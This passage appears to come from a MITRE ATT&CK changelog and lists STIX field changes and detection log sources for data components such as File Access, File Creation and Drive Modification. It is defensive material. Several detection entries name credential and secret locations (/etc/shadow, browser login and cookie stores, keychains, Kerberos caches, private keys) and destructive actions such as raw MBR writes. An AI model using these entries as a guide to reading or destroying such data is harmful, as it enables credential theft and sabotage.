x_mitre_log_sources[{'name': 'Drive', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'Kernel-PnP 410/400 device install, disk added'}, {'name': 'auditd:SYSCALL', 'channel': 'mknod,open,openat'}, {'name': 'macos:unifiedlog', 'channel': 'mounted|appeared|DA: disk* attached'}, {'name': 'WinEventLog:Microsoft-Windows-Partition/Diagnostic', 'channel': 'EventCode=1006'}, {'name': 'auditd:SYSCALL', 'channel': 'Removable media mount notification'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.diskarbitration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1006,10001'}, {'name': 'auditd:SYSCALL', 'channel': 'device event logs'}, {'name': 'linux:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + File Read'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'udev events or drive enumeration involving TinyPilot paths or device classes'}, {'name': 'linux:syslog', 'channel': 'Device attach logs containing TinyPilot/PiKVM identifiers'}, {'name': 'macos:unifiedlog', 'channel': 'Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'Kernel Device Events - USB Block Devices'}, {'name': 'maos:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + Process Trace + File Read'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=20001/20003'}, {'name': 'journald:systemd', 'channel': 'udisks2 or udevd logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "USBMSC"\''}, {'name': 'WinEventLog:System', 'channel': '20001-20003'}, {'name': 'linux:syslog', 'channel': "New HID device enumeration with type 'keyboard' followed by immediate input injection"}, {'name': 'macos:unifiedlog', 'channel': 'New IOUSB keyboard/HID device enumerated with suspicious attributes'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:36.536000+00:002025-10-21 15:14:37.342000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0046] Drive Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0046', 'external_id': 'DC0046'}]
x_mitre_log_sources[{'name': 'Drive', 'channel': 'None'}, {'name': 'networkdevice:runtime', 'channel': 'Firmware image uploaded via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit disk write calls targeting raw devices'}, {'name': 'linux:syslog', 'channel': 'Block device write errors or unusual bootloader activity'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware image upload events via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write to EFI/boot partition sectors'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write activity targeting physical devices'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:35.797000+00:002025-10-22 19:03:17.198000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0
x_mitre_data_source_refx-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_domainsics-attack

[DC0079] Driver Load

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0079', 'external_id': 'DC0079'}]
x_mitre_log_sources[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=6'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=6'}, {'name': 'linux:syslog', 'channel': 'dmesg or syslog for module loads'}, {'name': 'linux:syslog', 'channel': 'Driver load events or firmware load failures for hardware devices'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:49.173000+00:002025-10-21 15:14:37.274000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0074] Driver Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0074', 'external_id': 'DC0074'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:52.372000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0055] File Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0055', 'external_id': 'DC0055'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'm365:unified', 'channel': 'FileAccessed, MailboxAccessed'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, or stat of browser config files'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/*/Safari or Chrome directories by non-browser processes'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'gcp:audit', 'channel': 'Write operations to storage'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS access logs'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache'}, {'name': 'macos:unifiedlog', 'channel': 'Kerberos framework calls to API:{uuid} cache outside normal process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'openat'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656, 4663'}, {'name': 'auditd:FILE', 'channel': '/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data'}, {'name': 'macos:unifiedlog', 'channel': '~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json'}, {'name': 'auditd:SYSCALL', 'channel': 'open'}, {'name': 'auditd:FILE', 'channel': '/proc/*/mem read attempt'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670, 4663'}, {'name': 'auditd:PATH', 'channel': 'Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)'}, {'name': 'macos:unifiedlog', 'channel': 'Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145, 4663'}, {'name': 'linux:syslog', 'channel': 'auth.log or custom tool logs'}, {'name': 'fs:fsusage', 'channel': 'file'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open, flock, fcntl, unlink'}, {'name': 'fs:fsusage', 'channel': 'File Access Monitor'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive files'}, {'name': 'macos:unifiedlog', 'channel': 'file read of sensitive directories'}, {'name': 'esxi:hostd', 'channel': 'datastore file access'}, {'name': 'auditd:SYSCALL', 'channel': 'Unusual processes accessing or modifying cookie databases'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal process access to Safari or Chrome cookie storage'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH records referencing /dev/video*'}, {'name': 'macos:endpointsecurity', 'channel': 'open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks'}, {'name': 'ebpf:syscalls', 'channel': 'container_file_activity'}, {'name': 'fs:fsusage', 'channel': 'Disk Activity Tracing'}, {'name': 'macos:keychain', 'channel': 'Access to Keychain DB or system.keychain'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/'}, {'name': 'macos:keychain', 'channel': '~/Library/Keychains, /Library/Keychains'}, {'name': 'm365:unified', 'channel': 'Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)'}, {'name': 'auditd:PATH', 'channel': 'open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)'}, {'name': 'macos:unifiedlog', 'channel': 'open: Access to /var/log/system.log or related security event logs'}, {'name': 'azure:activity', 'channel': 'CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows'}, {'name': 'esxi:hostd', 'channel': 'read: Access to sensitive log files by non-admin users'}, {'name': 'auditd:SYSCALL', 'channel': 'Processes reading credential or token cache files'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive file directories'}, {'name': 'esxi:hostd', 'channel': 'datastore/log file access'}, {'name': 'fs:fsusage', 'channel': 'filesystem activity'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Suspicious file execution on removable media path'}, {'name': 'auditd:PATH', 'channel': 'path'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive config or secret files'}, {'name': 'macos:unifiedlog', 'channel': 'open/read of *.plist or .env files'}, {'name': 'ebpf:syscalls', 'channel': 'open/read on secret mount paths'}, {'name': 'CloudTrail:GetObject', 'channel': 'sensitive credential files in buckets or local image storage'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories'}, {'name': 'macos:unifiedlog', 'channel': 'read of user document directories'}, {'name': 'esxi:syslog', 'channel': 'guest OS outbound transfer logs'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Call Monitoring'}, {'name': 'esxi:hostd', 'channel': 'vSphere File API Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read: Access to /proc/self/status with focus on TracerPID field'}, {'name': 'fs:fsusage', 'channel': 'read/write'}, {'name': 'esxis:vmkernel', 'channel': 'Datastore Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read access to ~/.bash_history'}, {'name': 'macos:endpointsecurity', 'channel': 'open or read syscall to ~/.bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains/login.keychain-db'}, {'name': 'auditd:SYSCALL', 'channel': 'open,read'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem and process events'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read system calls to ~/.bash_history or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains or history files by terminal processes'}, {'name': 'auditd:SYSCALL', 'channel': 'read of /run/secrets or docker volumes by non-entrypoint process'}, {'name': 'macos:unifiedlog', 'channel': 'access to /Volumes/SharePoint or network mount'}, {'name': 'auditd:SYSCALL', 'channel': 'Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/Safari/Bookmarks.plist or recent files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read'}, {'name': 'macos:unifiedlog', 'channel': 'access to keychain database'}, {'name': 'auditd:PATH', 'channel': 'file read'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to cryptographic operations, module loading, and filesystem access patterns'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating access to system configuration files and environmental information sources'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open, es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes'}, {'name': 'auditd:SYSCALL', 'channel': 'open or read to browser cookie storage'}, {'name': 'fs:fsusage', 'channel': 'file open for known browser cookie paths'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, mount'}, {'name': 'fs:fsusage', 'channel': 'file reads/writes from /Volumes/'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file provider subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'file'}, {'name': 'kubernetes:audit', 'channel': 'GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server'}, {'name': 'auditd:SYSCALL', 'channel': 'Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey'}, {'name': 'fs:quarantine', 'channel': '/var/log/quarantine.log'}, {'name': 'desktop:file_manager', 'channel': 'nautilus, dolphin, or gvfs logs'}, {'name': 'linux:osquery', 'channel': '/proc/*/maps access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories (/etc, /home/*)'}, {'name': 'macos:unifiedlog', 'channel': 'read/write of user documents prior to upload'}, {'name': 'esxi:hostd', 'channel': 'file copy or datastore upload via HTTPS'}, {'name': 'macos:unifiedlog', 'channel': 'open/read access to private key files (id_rsa, *.pem, *.p12)'}, {'name': 'linux:osquery', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'fs:fileevents', 'channel': 'File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)'}, {'name': 'auditd:FS', 'channel': 'read: File access to /proc/modules or /sys/module/'}, {'name': 'macos:unifiedlog', 'channel': 'read: File access to /System/Library/Extensions/ or related kernel extension paths'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*'}, {'name': 'macos:unifiedlog', 'channel': '*.opvault OR *.ldb OR *.kdbx'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:07.996000+00:002025-10-21 15:14:35.674000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0039] File Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0039', 'external_id': 'DC0039'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=11'}, {'name': 'auditd:SYSCALL', 'channel': 'creat'}, {'name': 'macos:unifiedlog', 'channel': 'file write'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Modification of .asar in /opt or ~/.config directories'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Modification of app.asar inside .app bundle'}, {'name': 'auditd:FILE', 'channel': "File creation with name starting with '.'"}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of browser extension .plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'open or creat syscalls targeting excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'file creation in AV exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'file creation/modification'}, {'name': 'macos:unifiedlog', 'channel': 'file write/create'}, {'name': 'esxi:vmkernel', 'channel': 'file write'}, {'name': 'snmp:syslog', 'channel': 'firmware write/log event'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions'}, {'name': 'fs:fsevents', 'channel': 'Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS file creation'}, {'name': 'auditd:SYSCALL', 'channel': 'write/open, FIM audit'}, {'name': 'fs:fsusage', 'channel': 'open/write/exec calls'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .plist under /Library/Managed Preferences/'}, {'name': 'fs:fileevents', 'channel': 'creat'}, {'name': 'fs:fsusage', 'channel': 'disk activity on /Library/LaunchAgents or LaunchDaemons'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Write to ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'creation of ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib files in monitored directories'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'linux:Sysmon', 'channel': 'New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch'}, {'name': 'macos:unifiedlog', 'channel': 'New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children'}, {'name': 'auditd:FILE', 'channel': 'create: New file created in system binaries or temp directories'}, {'name': 'macos:unifiedlog', 'channel': 'File created in ~/Library/LaunchAgents or executable directories'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: File creation or deletion involving critical stored data'}, {'name': 'macos:unifiedlog', 'channel': 'Process wrote large .mov/.mp4 in user temp/hidden dirs'}, {'name': 'macos:unifiedlog', 'channel': 'logd:file write'}, {'name': 'fs:fsusage', 'channel': 'File IO'}, {'name': 'auditd:SYSCALL', 'channel': 'creat, open, write on /etc/systemd/system and /usr/lib/systemd/system'}, {'name': 'macos:unified', 'channel': 'File creation'}, {'name': 'macos:unifiedlog', 'channel': 'Attachment files written to ~/Downloads or temporary folders'}, {'name': 'fs:fsusage', 'channel': 'file activity'}, {'name': 'CloudTrail:PutObject', 'channel': 'PutObject'}, {'name': 'auditd:PATH', 'channel': 'Creation of files with extensions .sql, .csv, .sqlite, especially in user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Writes of .sql/.csv/.xlsx files to user documents/downloads'}, {'name': 'auditd:PATH', 'channel': 'New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install'}, {'name': 'auditd:SYSCALL', 'channel': 'write, open, or rename to /etc/systemd/system/*.service'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories'}, {'name': 'fs:fsusage', 'channel': 'file open/write'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of archive files in /tmp, /var/tmp, or user home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'File Events'}, {'name': 'auditd:SYSCALL', 'channel': 'File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of postinstall scripts within .pkg or .mpkg contents'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang'}, {'name': 'macos:unifiedlog', 'channel': 'create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write, unlink'}, {'name': 'WinEventLog:Sysmon', 'channel': 'File creation of suspicious scripts/binaries in temporary directories'}, {'name': 'macos:unifiedlog', 'channel': 'File creation of unsigned binaries/scripts in user cache or download directories'}, {'name': 'auditd:SYSCALL', 'channel': 'File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds'}, {'name': 'fs:fsusage', 'channel': 'create: Attachment file creation in ~/Library/Mail directories'}, {'name': 'WinEventLog:Microsoft-Windows-Shell-Core', 'channel': 'New startup folder shortcut or binary placed in Startup directory'}, {'name': 'auditd:SYSCALL', 'channel': 'write or create file after .bash_history access'}, {'name': 'auditd:SYSCALL', 'channel': 'new file created in /var/www/html, /srv/http, or similar web root'}, {'name': 'fs:launchdaemons', 'channel': 'file_create'}, {'name': 'auditd:PATH', 'channel': 'mount target path within /proc/*'}, {'name': 'macos:fsevents', 'channel': '/Library/StartupItems/, ~/Library/LaunchAgents/'}, {'name': 'fs:fsusage', 'channel': 'write or chmod to ~/Library/LaunchAgents/*.plist'}, {'name': 'auditd:PATH', 'channel': 'creation of .so files in non-standard directories (e.g., /tmp, /home/*)'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files with anomalous headers and entropy levels in /tmp or user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of files with anomalous headers and entropy values'}, {'name': 'auditd:SYSCALL', 'channel': 'Access or modification to /lib/modules or creation of .ko files'}, {'name': 'fs:fsevents', 'channel': 'Directory events (kFSEventStreamEventFlagItemCreated)'}, {'name': 'gcp:workspaceaudit', 'channel': 'drive.activity logs'}, {'name': 'fs:fileevents', 'channel': 'create/write/rename in user-writable paths'}, {'name': 'auditd:PATH', 'channel': 'WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open,create'}, {'name': 'auditd:FILE', 'channel': 'Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip or .dmg files in user-accessible or temporary directories'}, {'name': 'fs:fsusage', 'channel': 'file write'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open'}, {'name': 'macos:unifiedlog', 'channel': 'file create or modify in /etc/emond.d/rules or /private/var/db/emondClients'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename,write'}, {'name': 'macos:unifiedlog', 'channel': 'Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:18.072000+00:002025-10-21 19:32:14.744000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

[DC0040] File Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0040', 'external_id': 'DC0040'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat on service binaries or data targets'}, {'name': 'auditd:SYSCALL', 'channel': 'file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'esxi:shell', 'channel': 'shell history'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=23'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'esxi:hostd', 'channel': 'delete action'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, openat, write'}, {'name': 'macos:unifiedlog', 'channel': 'exec rm -rf|dd if=/dev|srm|file unlink'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, rmdir'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, rename, open'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=23'}, {'name': 'fs:fsusage', 'channel': 'unlink, fs_delete'}, {'name': 'docker:daemon', 'channel': 'container file operations'}, {'name': 'esxi:hostd', 'channel': 'rm, clearlogs, logrotate'}, {'name': 'esxi:hostd', 'channel': 'Datastore file operations'}, {'name': 'macos:osquery', 'channel': 'CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat'}, {'name': 'WinEventLog:Microsoft-Windows-Backup', 'channel': 'Windows Backup Catalog deletion or catalog corruption'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/etc/fstab, /etc/systemd/*'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:21.434000+00:002025-10-21 15:14:36.450000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0059] File Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0059', 'external_id': 'DC0059'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'linux:osquery', 'channel': 'event-based'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Invalid/Unsigned image when developer tool launches newly installed binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt or yum/dnf transaction logs (install/update of build tools)'}, {'name': 'linux:osquery', 'channel': 'file_events, hash'}, {'name': 'macos:unifiedlog', 'channel': 'softwareupdated/homebrew/install logs, pkginstalld events'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI or Gatekeeper signature/notarization failures for newly installed dev components'}, {'name': 'auditd:SYSCALL', 'channel': 'Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/'}, {'name': 'linux:syslog', 'channel': 'Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp'}, {'name': 'macos:unifiedlog', 'channel': 'Detection of altered _VBA_PROJECT or PerformanceCache streams'}, {'name': 'EDR:file', 'channel': 'File Metadata Inspection (Low String Entropy, Missing PDB)'}, {'name': 'linux:osquery', 'channel': 'hash, elf_info, file_metadata'}, {'name': 'macos:osquery', 'channel': 'code_signing, file_metadata'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational log'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:syspolicyd'}, {'name': 'macos:unifiedlog', 'channel': 'File metadata updated with UF_HIDDEN flag'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15'}, {'name': 'auditd:PATH', 'channel': 'file path matches exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'path'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_file_rename_t or es_event_file_write_t'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'file write after sleep delay'}, {'name': 'esxi:vmkernel', 'channel': 'Upload of file to datastore'}, {'name': 'ebpf:syscalls', 'channel': 'Unexpected container volume unmount + file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'EDR:file', 'channel': 'File Metadata Analysis (PE overlays, entropy)'}, {'name': 'linux:osquery', 'channel': 'elf_info, hash, yara_matches'}, {'name': 'macos:osquery', 'channel': 'mach_o_info, file_metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Code signature validation fails or is absent post-binary modification'}, {'name': 'fs:filesystem', 'channel': 'Binary file hash changes outside of update/patch cycles'}, {'name': 'linux:osquery', 'channel': 'Read headers and detect MIME type mismatch'}, {'name': 'macos:unifiedlog', 'channel': 'Code signing verification failures or bypassed trust decisions'}, {'name': 'NSM:Flow', 'channel': 'Observed File Transfers'}, {'name': 'esxi:vmkernel', 'channel': 'Storage access and file ops'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'chmod or chown of hook files indicating privilege escalation or execution permission change'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem events'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar attribute removal commands'}, {'name': 'macos:unifiedlog', 'channel': 'Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2'}, {'name': 'linux:syslog', 'channel': 'application or system execution logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)'}, {'name': 'linux:syslog', 'channel': 'file permission modification events in kernel messages'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission or attribute changes'}, {'name': 'OpenBSM:AuditTrail', 